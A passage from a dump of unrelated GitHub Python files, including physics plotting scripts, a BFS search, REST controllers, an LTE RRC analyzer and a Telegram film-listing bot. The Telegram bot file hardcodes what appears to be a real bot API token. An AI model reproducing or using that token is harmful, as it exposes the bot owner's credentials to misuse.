{2:((1,1),(2,2),(4,3)), 3:((1,1,1),(2,2,2),(4,1,1),(3,2,5))}\n for ndim in (2,3):\n for dshape in combinations([19,31,43],ndim):\n for sigma in combinations_with_replacement([3,4,5],ndim):\n for dtype in (np.float32,np.uint16, np.int32):\n for strides in stridess[ndim]:\n _test_single(dshape,sigma, dtype = dtype, strides=strides)\n\n \nif __name__ == '__main__':\n # x,y = _test_single((10,10,10),(1,1,2), strides=(1,1,1), dtype = np.uint16, skip_assert=True)\n np.random.seed(31)\n x,y = _test_single((19, 31, 43),(3,3,0), strides=(1,1,1), dtype = np.uint16, skip_assert=True)\n\n # ind = np.unravel_index(np.argmax(np.abs(1.*x-y)), x.shape)\n # print(ind)\n\n # print(x[tuple(ind)])\n # print(y[tuple(ind)])\n \n\n # from gputools import get_device\n # get_device().queue.finish()\n","repo_name":"maweigert/gputools","sub_path":"tests/convolve/test_gaussian.py","file_name":"test_gaussian.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"66"}
+{"seq_id":"4780968273","text":"from dataclasses import dataclass\n\n\n@dataclass\nclass RomanNumeral:\n symbol: str\n value: int\n\n\nroman_numerals = [\n RomanNumeral(\"M\", 1000),\n RomanNumeral(\"CM\", 900),\n RomanNumeral(\"D\", 500),\n RomanNumeral(\"CD\", 400),\n RomanNumeral(\"C\", 100),\n RomanNumeral(\"XC\", 90),\n RomanNumeral(\"L\", 50),\n RomanNumeral(\"XL\", 40),\n RomanNumeral(\"X\", 10),\n RomanNumeral(\"IX\", 9),\n RomanNumeral(\"V\", 5),\n RomanNumeral(\"IV\", 4),\n RomanNumeral(\"I\", 1),\n]\n\n\ndef to_roman(arabic: int) -> str:\n for numeral in roman_numerals:\n if numeral.value <= arabic:\n return numeral.symbol + to_roman(arabic - numeral.value)\n return \"\"\n\n\ndef to_arabic(roman: str) -> int:\n for numeral in roman_numerals:\n if roman.startswith(numeral.symbol):\n return numeral.value + to_arabic(roman[len(numeral.symbol) :])\n return 0\n\n\n# Seventh pass. Minimal naming changes only; clean progression.\n","repo_name":"jorgearanda/katas","sub_path":"roman/roman.py","file_name":"roman.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"36018816137","text":"# import scenarios from another folder\r\nimport sys\r\nimport random\r\n# add the scenario and output folders to the system path\r\nsys.path.insert(0,'/scenarios')\r\n\r\n# import functions from the folders\r\n# -- scenario one -- \r\nfrom scenarios.story_one import scenario_one # import scenario_one and the class\r\n# -- scenario two -- \r\nfrom scenarios.scenario_two import scenario_two # import scenario class from the folder \r\n# -- scenario three -- \r\nfrom scenarios.scenario_three import scenario_three # import scenario class from the folder\r\n# -- scenario four --\r\n\r\n# adapt the function into variables for this file\r\n\r\nscenario_one = scenario_one\r\nscenario_two = scenario_two\r\nscenario_three = scenario_three\r\n\r\n# print the variables and length of the variables\r\nprint(scenario_one)\r\nprint(scenario_two)\r\nprint(scenario_three)\r\n\r\n# randomize the scenarios and print them into a file\r\nstory = random.choice([scenario_one, scenario_two])\r\n# print the story\r\nprint(story)\r\n\r\n# saves the reference of the standard output\r\noriginal_stdout = sys.stdout\r\n\r\nwith open('output.txt', 'w') as f:\r\n sys.stdout = f # Change the standard output to the file we created.\r\n print(story) # Prints the story to a file.\r\n print('This message will be written to a file.')\r\n sys.stdout = original_stdout # Reset the standard output to its original value\r\n print('This message will be written to the console.')\r\n\r\n","repo_name":"raphtolentino/Personal-Projects","sub_path":"Twitter-bot/program_files/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72453714408","text":"from ROOT import *\nfrom array import array\nimport sys\nfrom set_style import *\n\ngROOT.SetBatch(1)\n\nf = TFile(sys.argv[1], \"OPEN\")\nt = f.Get(\"pion_tree\")\n\n\nbinning = \"(\" + str(sys.argv[2]) + \",0,\" + sys.argv[3] + \")\"\n\nt.Draw(\"pion_P>>d\" + binning, \"\")\nt.Draw(\"pion_P>>n\" + binning, \"!missed_pion\")\n\nd = gDirectory.Get(\"d\")\nn = gDirectory.Get(\"n\")\n\nd.Sumw2()\nn.Sumw2()\n\nd.Draw()\n\nc0 = TCanvas(\"c0\",\"c0\", 500,400)\nc0.SetTicks(1)\ngStyle.SetOptStat(0)\nset_style( d, \"True #pi Momentum (GeV/c)\", \"\")\nd.Draw()\nc0.SaveAs(\"pion_p.pdf\")\n\n\neff = TEfficiency(n,d)\noutfile = TFile(\"pion_eff.root\", \"RECREATE\")\neff.Write(\"eff\")\n\n\nc1 = TCanvas( \"c1\", \"c1\", 500, 400 )\nc1.SetTicks(1)\neff.SetMarkerStyle(20)\neff.Draw()\nset_style( eff, \"True #pi Momentum (GeV/c)\", \"Efficiency\", form=0)\neff.Draw(\"AP\")\n\n\nc1.SaveAs(sys.argv[4])\n\n\nt.Draw(\"pion_P:pion_len>>d2(15,0,300,10,0,1.4)\", \"\")\nt.Draw(\"pion_P:pion_len>>n2(15,0,300,10,0,1.4)\", \"!missed_pion\")\n\nd2 = gDirectory.Get(\"d2\")\nn2 = gDirectory.Get(\"n2\") \n\neff2 = TEfficiency(n2,d2)\n\n\nset_style( d2, \"True #pi Length (cm)\", \"True #pi Momentum (GeV/c)\")\ngStyle.SetPalette(kBird)\nd2.Draw(\"colz\")\nc1.SaveAs(\"pion_p_len.pdf\")\n\nt.Draw(\"pion_len>>d3(45,0,300)\", \"\")\nt.Draw(\"pion_len>>n3(45,0,300)\", \"!missed_pion\")\n\nd3 = gDirectory.Get(\"d3\")\nn3 = gDirectory.Get(\"n3\") \n\neff3 = TEfficiency(n3,d3)\n\ncLen = TCanvas(\"cLen\", \"\", 500, 400)\ncLen.SetTicks()\neff3.SetMarkerStyle(20)\neff3.Draw()\nset_style( eff3, \"True #pi Length (cm)\", \"Efficiency\", form=0)\neff3.Draw(\"AP\")\n\n\n\n\ncHits = TCanvas(\"cHits\", \"\", 500, 400)\ncHits.SetTicks()\nt.Draw(\"pion_hits>>d4(60,0,400)\", \"\")\nt.Draw(\"pion_hits>>n4(60,0,400)\", \"!missed_pion\")\n\nd4 = gDirectory.Get(\"d4\")\nn4 = gDirectory.Get(\"n4\") \n\neff4 = TEfficiency(n4,d4)\n\neff4.SetMarkerStyle(20)\neff4.Draw()\nset_style( eff4, \"True #pi Hits\", \"Efficiency\", form=0)\neff4.Draw(\"AP\")\n\n\n\ncEndZ = TCanvas(\"cEndZ\", \"\", 500, 400)\ncEndZ.SetTicks()\nt.Draw(\"endZ>>d5(100,0,300)\", \"\")\nt.Draw(\"endZ>>n5(100,0,300)\", \"!missed_pion\")\n\nd5 = gDirectory.Get(\"d5\")\nn5 = gDirectory.Get(\"n5\") \n\neff5 = TEfficiency(n5,d5)\n\neff5.SetMarkerStyle(20)\neff5.Draw()\nset_style( eff5, \"Reco Beam End Z (cm)\", \"Efficiency\", form=0)\neff5.Draw(\"AP\")\n\n\n\noutfile.cd()\neff2.Write(\"eff2D\")\neff3.Write(\"eff_len\")\neff4.Write(\"eff_hits\")\neff5.Write(\"eff_endZ\")\nd4.Write(\"hits\")\ncHits.Write(\"c_eff_hits\")\ncEndZ.Write(\"c_eff_endZ\")\ncLen.Write(\"c_eff_len\")\n\noutfile.Close()\n\n","repo_name":"calcuttj/PionStudies","sub_path":"new_draw_pion_eff.py","file_name":"new_draw_pion_eff.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20438298481","text":"import numpy as np\nfrom Derivative import errorFunc, printProp\nimport Student\nimport Plots\n\n\na1 = np.array([0.034,0.044,0.054,0.064,0.074], dtype=float)\na2 = np.array([0.027,0.037,0.047,0.057,0.067], dtype=float)\nomega1 = np.array([0.122,0.147,0.180,0.208,0.240], dtype=float)\nomega2 = np.array([0.098,0.137,0.162,0.189,0.221], dtype=float)\n\n\n\ndef show(a, o):\n x = a \n y = o\n da = 5 * 10 ** (-4)\n do = 10 ** (-3)\n err_x = np.array([da] * len(a), dtype=float)\n err_y = np.array([do] * len(o), dtype=float)\n betas = Plots.plotODR(x, y, err_x, err_y)\n Plots.plotPoints(x, y, err_x, err_y)\n # Plots.show(\"Orthogonal Distance Regression with errors\", \"distance: a, m\"\n # , r\"angular velocity: omega, $s^{-1}$\")\n\n return betas\n\n\nbeta1 = show(a1, omega1)\nbeta2 = show(a2, omega2)\n\n#beta = Student.combineErrors([beta1[0], beta2[0]], [beta1[2], beta2[2]], [len(a1), len(a2)])\n\n#print(beta)\n\nf = 40\nm = 204 * (10 ** (-3))\ndm = 1 * (10 ** (-3))\ng = 9.81\n\ndef moment(m, k):\n global g, f\n return m * g / (k * 2 * np.pi * f)\n\n\nerror_m1 = errorFunc(moment, [m, beta1[0]], [dm, beta1[2]])\nerror_m2 = errorFunc(moment, [m, beta2[0]], [dm, beta2[2]])\n\nm1 = moment(m, beta1[0])\nm2 = moment(m, beta2[0])\n\nprint([m1, m2], [error_m1, error_m2])\nprint(Student.combineErrors([m1, m2], [error_m1, error_m2], [1, 1]))","repo_name":"LoolzMe/University","sub_path":"Labs/FirstSemester/Lab5.py","file_name":"Lab5.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73938389608","text":"def is_safe(mat, visited, row, col):\n \"\"\"\n verify that the position is either a 0 or * and that it has not been visited yetl\n \"\"\"\n return (mat[row][col] == 0 or mat[row][col] == \"*\") and ((row, col)) not in visited\n\n\ndef is_valid(row, col):\n \"\"\"\n verify that the position is inbounds the grid\n \"\"\"\n return 0 <= row < rows and 0 <= col < cols\n\n\ndef find_shortest_path(matrix, start):\n \"\"\"\n return the location of the found vertex, number of vertexes visited, shortest path to the location\n \"\"\"\n count = 0\n q = [(start, [start])]\n # construct a set to keep track of visited cells\n visited = set()\n while q:\n vertex, path = q.pop(0)\n i, j = vertex[0], vertex[1]\n visited.add((i, j))\n count += 1\n\n if matrix[i][j] == \"*\":\n return (i, j), count, path\n\n if is_valid(i + 1, j) and is_safe(matrix, visited, i + 1, j):\n next_node = (i + 1, j)\n q.append((next_node, path + [next_node]))\n visited.add(next_node)\n\n if is_valid(i - 1, j) and is_safe(matrix, visited, i - 1, j):\n next_node = (i - 1, j)\n q.append((next_node, path + [next_node]))\n visited.add(next_node)\n\n if is_valid(i, j + 1) and is_safe(matrix, visited, i, j + 1):\n next_node = (i, j + 1)\n q.append((next_node, path + [next_node]))\n visited.add(next_node)\n\n if is_valid(i, j - 1) and is_safe(matrix, visited, i, j - 1):\n next_node = (i, j - 1)\n q.append((next_node, path + [next_node]))\n visited.add(next_node)\n\n\nrows = cols = 4\nmat = [[0, 0, 1, 0], [0, 0, 0, 1], [1, 1, 0, 0], [1, 0, \"*\", 1]]\nstart = (0, 0)\n\nprint(find_shortest_path(mat, start))\n","repo_name":"balassit/improved-potato","sub_path":"examples/bfs-grid.py","file_name":"bfs-grid.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"42673050348","text":"\"\"\" mpiexec -n 4 python3 task_mpi.py\n\"\"\"\nfrom __future__ import print_function\nimport time\nimport numpy as np\nfrom mpi4py import MPI\nfrom task import worker\n\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nsize = comm.Get_size()\n\nN = 4000 # Matrix size\nM = None # Original Matrix (created by root proc)\nt1 = None # Start time\njobs = None # Jobs for workers (splitted matrix) in to (almost) equal parts\n\nif rank == 0:\n t1 = time.time()\n M = np.random.randint(10, size=(N, N))\n jobs = np.array_split(M, size, axis=1)\n\njob = comm.scatter(jobs, root=0)\n\nprint(\"%d rank :: received job\" % rank)\nresult = worker(job)\nprint(\"%d rank :: send result\" % rank)\n\nresults = comm.gather(result, root=0)\n\nif rank == 0:\n T = np.stack(np.concatenate(results))\n assert np.allclose(T, M.transpose()), \"Transposed matrix incorrect\"\n print(time.time() - t1)\n","repo_name":"mantydze/lps","sub_path":"transpose/task_mpi.py","file_name":"task_mpi.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13639054525","text":"import inspect\n\nimport cherrypy\nfrom turbogears.controllers import expose, Controller\n\n\nimport logging\nlog = logging.getLogger('turbogears.rest')\n\n\ndef _default(self, *vpath, **kw):\n http_method = cherrypy.request.method\n method = getattr(self, http_method)\n\n # If there is a vpath, we tried to look up a sub-resource or other exposed\n # method and failed\n if vpath:\n raise cherrypy.HTTPError(404, 'Not found')\n elif not callable(method) or not getattr(method, 'exposed', False):\n raise cherrypy.HTTPError(405, '%s not allowed on %s' % (\n http_method, cherrypy.request.browser_url))\n\n return method(**kw)\n\n\ndef RESTContainer(resource_cls_or_name=None):\n \"\"\"Class decorator for implementing REST-style container controllers.\n\n For example, to create a list of candidate resources such that::\n\n /candidates/\n\n returns a candidate resource for the specified candidate, define the\n candidates controller as\n\n >>> @RESTContainer('CandidateResource')\n ... class CandidateRootController(Controller):\n ... pass\n\n >>> class CandidateResource(RESTResource):\n ... \"Represents a single candidate\"\n\n The resource class must have a constructor that takes a single integer ID\n as its first parameter and a reference to the parent container as the\n second parameter.\n\n RESTContainers also do method-based dispatch if the decorated controller\n class does *not* define default::\n\n >>> @RESTContainer(CandidateResource)\n ... class CandidateRootController(Controller):\n ... @expose()\n ... def GET(self):\n ... # handle request for /candidates\n\n For most resource containers, it is assumed that the resource class uses\n integer identifiers, and the int() function is used to determine that a\n resource is being requested: non-integer attribute requests are assumed to\n be requests for attributes on the container itself.\n\n If the resource class defines a valid_id static function, it is used in\n preference to the int function to determine if an attribute request should\n return an instance of the container's resource class. The valid_id function\n should take a single argument and return it if it is a valid identifier or\n raise ValueError if it is not.\n\n \"\"\"\n\n def decorator(controller_cls):\n def resolve_resource(obj):\n try:\n _cls = obj.resource_cls\n except AttributeError:\n try:\n module = inspect.getmodule(type(obj))\n _cls = obj.resource_cls = getattr(module,\n resource_cls_or_name)\n except (TypeError, AttributeError):\n _cls = obj.resource_cls = resource_cls_or_name\n\n return _cls\n\n def _cp_dispatch(self, vpath):\n log.debug('%s vpath: %s', type(self).__name__, vpath)\n\n try:\n resource_id = vpath[0]\n resource_cls = resolve_resource(self)\n id_validator = getattr(resource_cls, 'valid_id', str)\n return resource_cls(id_validator(resource_id), self)\n except ValueError as e:\n log.debug('Invalid resource id: %s (%s: %s)',\n resource_id,\n type(e).__name__,\n e)\n return vpath\n\n controller_cls._cp_dispatch = _cp_dispatch\n\n if not hasattr(controller_cls, 'default'):\n controller_cls.default = expose()(_default)\n\n return controller_cls\n\n return decorator\n\n\nclass RESTResource(Controller):\n \"\"\"Controller base class that provides HTTP method-based dispatch.\n\n Subclasses should define methods for each HTTP method they wish to\n implement (e.g. ``GET``).\n\n See ``README.rst`` and ``controllers.py`` in the example application for\n example usages.\n\n \"\"\"\n\n default = expose()(_default)\n","repo_name":"drocco007/TurboRest","sub_path":"turborest/turbogears/rest/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72906158248","text":"#!/usr/bin/python\n# Filename: rrc_config_analyzer.py\n\"\"\"\nrrc_config_analyzer.py\nAn KEI analyzer to reveal RRC config information\n\nAuthor: Zhehui Zhang\n\"\"\"\n\n__all__ = [\"RrcConfigAnalyzer\"]\n\ntry:\n import xml.etree.cElementTree as ET\nexcept ImportError:\n import xml.etree.ElementTree as ET\nfrom .kpi_analyzer import KpiAnalyzer\n\n\nclass RrcConfigAnalyzer(KpiAnalyzer):\n \"\"\"\n An KPI analyzer to monitor and manage RRC connection success rate\n \"\"\"\n\n def __init__(self):\n KpiAnalyzer.__init__(self)\n\n self.current_kpi = {'SR_CONFIG_IDX': 0.00}\n\n for kpi in self.current_kpi:\n self.register_kpi(\"Configuration\",kpi,self.__rrc_config_callback)\n\n # add callback function\n self.add_source_callback(self.__rrc_config_callback)\n\n def set_source(self,source):\n \"\"\"\n Set the trace source. Enable the LTE RRC messages.\n\n :param source: the trace source.\n :type source: trace collector\n \"\"\"\n KpiAnalyzer.set_source(self,source)\n #enable LTE RRC log\n source.enable_log(\"LTE_RRC_OTA_Packet\")\n\n def __rrc_config_callback(self, msg):\n # deal with RRC OTA\n if msg.type_id == \"LTE_RRC_OTA_Packet\":\n log_item = msg.data.decode()\n log_item_dict = dict(log_item)\n if 'Msg' in log_item_dict:\n log_xml = ET.XML(log_item_dict['Msg'])\n for field in log_xml.iter('field'):\n if field.get('name') == 'lte-rrc.sr_ConfigIndex':\n sr_sonfigidx = int(field.get('show'))\n if sr_sonfigidx < 4:\n sr_period = 5\n elif 4 < sr_sonfigidx < 15:\n sr_period = 10\n elif 14 < sr_sonfigidx < 35:\n sr_period = 20\n elif 34 < sr_sonfigidx < 75:\n sr_period = 40\n elif 74 < sr_sonfigidx < 155:\n sr_period = 80\n elif 154 < sr_sonfigidx < 157:\n sr_period = 2\n elif sr_sonfigidx == 157:\n sr_period = 1\n else:\n self.log_warning(\"Unknown sr_ConfigIndex: \" + str(sr_sonfigidx))\n continue\n self.log_info(\"SR period: \" + str(sr_period) + ' ms, SR ConfigIdx: ' + str(sr_sonfigidx))\n bcast_dict = {}\n bcast_dict['period'] = str(sr_period)\n bcast_dict['config idx'] = str(sr_sonfigidx)\n bcast_dict['timestamp'] = str(msg.timestamp)\n self.broadcast_info('SR_CONFIGIDX', bcast_dict)\n self.store_kpi('KPI_CONFIGURATION_SR_CONFIG_IDX', str(sr_period), msg.timestamp)\n return 0\n\n\n\n\n\n","repo_name":"mobile-insight/mobileinsight-core","sub_path":"mobile_insight/analyzer/kpi/rrc_config_analyzer.py","file_name":"rrc_config_analyzer.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"53"}
+{"seq_id":"16046946213","text":"import logging\n\nfrom aiogram import Bot, Dispatcher, executor, types\n\nfrom keyboards import *\nfrom films import FILMS\n\nTOKEN=\"5975710242:AAEouA2SuCBQ08a4_PkTSTTUaVK90YVfLKc\"\n\nlogging.basicConfig(level=logging.INFO)\n\nbot = Bot(token=TOKEN)\ndp = Dispatcher(bot)\n\n\n@dp.message_handler(commands='start')\nasync def start(message: types.Message):\n await message.answer(text='Привіт! Я - бот-кіноафіша. Обери фільм, про який ти хочеш дізнатися.', reply_markup=film_choice)\n\n\n@dp.callback_query_handler()\nasync def get_film_info(callback_query: types.CallbackQuery):\n if callback_query.data == 'Джон Уік 4 (16+)':\n await bot.send_photo(callback_query.message.chat.id, FILMS[callback_query.data][\"photo\"])\n url= FILMS[callback_query.data][\"site_url\"]\n film_rating = FILMS[callback_query.data][\"rating\"]\n film_description = FILMS[callback_query.data][\"description\"]\n message = f\"Film url: {url}\\nAbout: {film_description}\\n\\nRate: {film_rating}\"\n await bot.send_message(callback_query.message.chat.id, message, parse_mode='html')\n elif callback_query.data == 'Підземелля і дракони':\n await bot.send_photo(callback_query.message.chat.id, FILMS[callback_query.data][\"photo\"])\n url= FILMS[callback_query.data][\"site_url\"]\n film_rating = FILMS[callback_query.data][\"rating\"]\n film_description = FILMS[callback_query.data][\"description\"]\n message = f\"Film url: {url}\\nAbout: {film_description}\\n\\nRate: {film_rating}\"\n await bot.send_message(callback_query.message.chat.id, message, parse_mode='html')\n elif callback_query.data == 'Екзорцист Ватикану':\n await bot.send_photo(callback_query.message.chat.id, FILMS[callback_query.data][\"photo\"])\n url= FILMS[callback_query.data][\"site_url\"]\n film_rating = FILMS[callback_query.data][\"rating\"]\n film_description = FILMS[callback_query.data][\"description\"]\n message = f\"Film url: {url}\\nAbout: {film_description}\\n\\nRate: {film_rating}\"\n await bot.send_message(callback_query.message.chat.id, message, parse_mode='html')\n\n# @dp.message_handler()\n# async def echo(message: types.Message):\n# user_info = {\n# \"name\": message.from_user.first_name,\n# \"surname\": message.from_user.last_name,\n# \"username\": message.from_user.username,\n# \"user_id\": message.from_user.id\n# }\n# await message.answer(f'First name: {user_info[\"name\"]}\\nLast name: {user_info[\"surname\"]}\\nUsername: {user_info[\"username\"]}\\nUser id: {user_info[\"user_id\"]}')\n# await message.answer(message.text)\n\n\n\nif __name__ == '__main__':\n executor.start_polling(dp)","repo_name":"Misha304/python-","sub_path":"bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21316804057","text":"# 给定一个二叉树,我们在树的节点上安装摄像头。\r\n# 节点上的每个摄影头都可以监视其父对象、自身及其直接子对象。\r\n# 计算监控树的所有节点所需的最小摄像头数量。\r\nfrom math import inf\r\nfrom typing import Optional\r\n\r\n\r\nclass TreeNode:\r\n def __init__(self, val=0, left=None, right=None):\r\n self.val = val\r\n self.left = left\r\n self.right = right\r\nclass Solution:\r\n def minCameraCover(self, root: Optional[TreeNode]) -> int:\r\n def dfs(root:TreeNode):\r\n if root is None:\r\n return inf,0,0\r\n l_choose,l_by_fa,l_by_son = dfs(root.left)\r\n r_choose,r_by_fa,r_by_son = dfs(root.right)\r\n choose = min(l_choose,l_by_fa,l_by_son) + min(r_choose,r_by_fa,r_by_son) + 1\r\n by_fa = min(l_choose,l_by_son) + min(r_choose,r_by_son)\r\n by_son = min(l_choose+r_by_son,l_by_son+r_choose,l_choose+r_choose)\r\n return choose,by_fa,by_son\r\n\r\n choose, _, by_son = dfs(root)\r\n return min(choose, by_son)\r\n","repo_name":"Ww0225/pythonTest","sub_path":"监控二叉树.py","file_name":"监控二叉树.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26165690461","text":"import logging\nfrom multiprocessing import Queue, Event\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime\nimport time\nimport scipy.signal as sg\nfrom bang_bang_controller import BangBangController\nfrom sensor_message_item import SensorMessageItem\n\n# An example of using logging.basicConfig rather than logging.fileHandler()\nlogging.basicConfig(level=logging.DEBUG,\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\n\nlogger = logging.getLogger(__name__)\n\n\ndef sine_wave(x, min_max_range, frequency):\n min_val, max_val = min_max_range\n amplitude = (max_val - min_val) / 2\n\n # Convert frequency from milliseconds to seconds\n frequency_sec = frequency / 1000.0\n\n # Generate the sine wave\n y = amplitude * np.sin(2 * np.pi * (x / frequency_sec)) + amplitude + min_val\n\n return y\n\n\ndef triangle_wave_sg(x, min_max_range, frequency):\n min_val, max_val = min_max_range\n amplitude = (max_val - min_val)\n y = amplitude * sg.sawtooth(frequency * 2 * np.pi * x, width=0.5)\n return y\n\n\ndef triangle_wave(x, min_max_range, frequency):\n min_val, max_val = min_max_range\n amplitude = (max_val - min_val)\n min_val = min_val - amplitude\n\n # Convert frequency from milliseconds to seconds for compatibility with numpy\n frequency_sec = frequency / 1000.0\n\n # Generate the triangle wave\n y = amplitude * np.abs(2 * (x / frequency_sec - np.floor(0.5 + x / frequency_sec))) + amplitude + min_val\n\n return y\n\n\ndef plot_temperature(x_values, y_values, title):\n # Convert current time in milliseconds to a datetime object\n current_time = int(time.time() * 1000)\n current_datetime = datetime.datetime.fromtimestamp(current_time / 1000)\n\n # Create future datetime objects by adding x values (milliseconds) to current time\n x_datetimes = [current_datetime + datetime.timedelta(milliseconds=int(x)) for x in x_values]\n\n # Plotting\n plt.figure(figsize=(10, 6))\n plt.plot(x_datetimes, y_values, label='Temperature')\n plt.xlabel('Time')\n plt.ylabel('Temperature')\n plt.title(title)\n plt.xticks(rotation=45)\n plt.tight_layout()\n plt.legend()\n plt.show()\n\n\ndef main():\n # simulate 2 hours of data at 30 second intervals\n\n # Example usage\n time_range = 2 * 60 * 60 * 1000 # 2 hours\n interval = 30 * 1000 # every 30 seconds\n n_values = int(time_range / interval)\n\n x_values = np.linspace(0, time_range, n_values) # x values in milliseconds\n min_max_range = (20, 30) # Simulated temperature range\n\n # how often does the temperature go through a complete cycle from 20 to 30\n frequency = 120000 # Frequency in milliseconds (2 minutes)\n\n temperature_values = triangle_wave(x_values, min_max_range, frequency)\n\n plot_temperature(x_values, temperature_values, 'Simulated Temperature Over Time')\n\n sensor_message_items: list[SensorMessageItem] = list()\n\n for i, sensor_value in enumerate(temperature_values):\n timestamp = x_values[i]\n sensor_message_item = SensorMessageItem(303721692, 248, float(sensor_value), int(timestamp))\n sensor_message_items.append(sensor_message_item)\n\n message_queue = Queue()\n sig_event = Event()\n bang_bang_controller = BangBangController(message_queue, sig_event)\n bang_bang_controller.start()\n\n # now do the simulation\n for sensor_message_item in sensor_message_items:\n print(\"Injecting sensor message:{}\".format(sensor_message_item))\n message_queue.put(sensor_message_item)\n time.sleep(0.5)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ElDuderino/BangBangController","sub_path":"test_bang_bang_controller.py","file_name":"test_bang_bang_controller.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13729578469","text":"\nimport pytest\nfrom lkmltools.google_auth_helper import GoogleAuthHelper\nimport os\nimport json\n\n@pytest.fixture(scope=\"module\")\ndef get_raw_json():\n raw_json = {\n \"type\": \"service_account\",\n \"project_id\": \"someproject\",\n \"private_key_id\": \"xxx\",\n \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nxxx-----END PRIVATE KEY-----\\n\",\n \"client_email\": \"someuser@appspot.gserviceaccount.com\",\n \"client_id\": \"1234567890\",\n \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n \"token_uri\": \"https://oauth2.googleapis.com/token\",\n \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/someuser%40appspot.gserviceaccount.com\"\n }\n return raw_json\n\n@pytest.fixture(scope=\"module\")\ndef get_encoded_json():\n # this is the encoded version of the raw_json above, so doesn't contain any proper secrets. \n # The unit tests below confirm that decoding this byte string below matches the JSON above\n return b'eyd0eXBlJzogJ3NlcnZpY2VfYWNjb3VudCcsICdwcm9qZWN0X2lkJzogJ3NvbWVwcm9qZWN0JywgJ3ByaXZhdGVfa2V5X2lkJzogJ3h4eCcsICdwcml2YXRlX2tleSc6ICctLS0tLUJFR0lOIFBSSVZBVEUgS0VZLS0tLS1cbnh4eC0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS1cbicsICdjbGllbnRfZW1haWwnOiAnc29tZXVzZXJAYXBwc3BvdC5nc2VydmljZWFjY291bnQuY29tJywgJ2NsaWVudF9pZCc6ICcxMjM0NTY3ODkwJywgJ2F1dGhfdXJpJzogJ2h0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbS9vL29hdXRoMi9hdXRoJywgJ3Rva2VuX3VyaSc6ICdodHRwczovL29hdXRoMi5nb29nbGVhcGlzLmNvbS90b2tlbicsICdhdXRoX3Byb3ZpZGVyX3g1MDlfY2VydF91cmwnOiAnaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vb2F1dGgyL3YxL2NlcnRzJywgJ2NsaWVudF94NTA5X2NlcnRfdXJsJzogJ2h0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3JvYm90L3YxL21ldGFkYXRhL3g1MDkvc29tZXVzZXIlNDBhcHBzcG90LmdzZXJ2aWNlYWNjb3VudC5jb20nfQ=='\n\ndef test_encode_service_account():\n helper = GoogleAuthHelper()\n encoded_json = helper.encode_service_account(get_raw_json())\n assert encoded_json == get_encoded_json()\n \ndef test_decode_service_account():\n helper = GoogleAuthHelper()\n decoded_json = helper.decode_service_account(get_encoded_json())\n assert decoded_json == get_raw_json()\n\ndef test_write_decoded_sa_json_to_file():\n helper = GoogleAuthHelper()\n filename = \"tmp_test_decoded.json\"\n\n if os.path.exists(filename):\n os.remove(filename)\n\n helper.write_decoded_sa_json_to_file(get_encoded_json(), filename=filename)\n\n assert os.path.exists(filename)\n\n with open(filename, 'r') as f:\n data = json.load(f)\n\n assert data == get_raw_json()\n\n if os.path.exists(filename):\n os.remove(filename)\n","repo_name":"ww-tech/lookml-tools","sub_path":"test/test_google_auth_helper.py","file_name":"test_google_auth_helper.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"53"}
+{"seq_id":"69873842410","text":"import re\n\nfrom typing import Tuple, List\nfrom .utils import get_mapped_commands\nfrom .errors import TranslationMissing\nfrom .command import Command, cmd_from_info\n\n\nclass Threepio(object):\n \"\"\"\n Threepio Class to translate a command from one framework to another.\n\n :param from_lang: Framework to convert from\n :type from_lang: str\n :param to_lang: Framework to convert to\n :type to_lang: str\n :param framework: Reference to package that represents to_lang\n :type framework: object\n \"\"\"\n\n def __init__(self, from_lang: str, to_lang: str, framework: object):\n \"\"\"Initialize a Threepio object to translate commands.\"\"\"\n\n # Fetch a dictionary of mapped commands between frameworks\n self.commands = get_mapped_commands()\n # Assert framework to convert from is present in mapped commands\n assert from_lang in self.commands, f\"\\\"{from_lang}\\\" is not in the mapped commands.\"\n self.from_lang = from_lang\n self.to_lang = to_lang\n self.framework = framework\n\n def _normalize_func_name(self, name: str) -> str:\n \"\"\"Normalizes a function 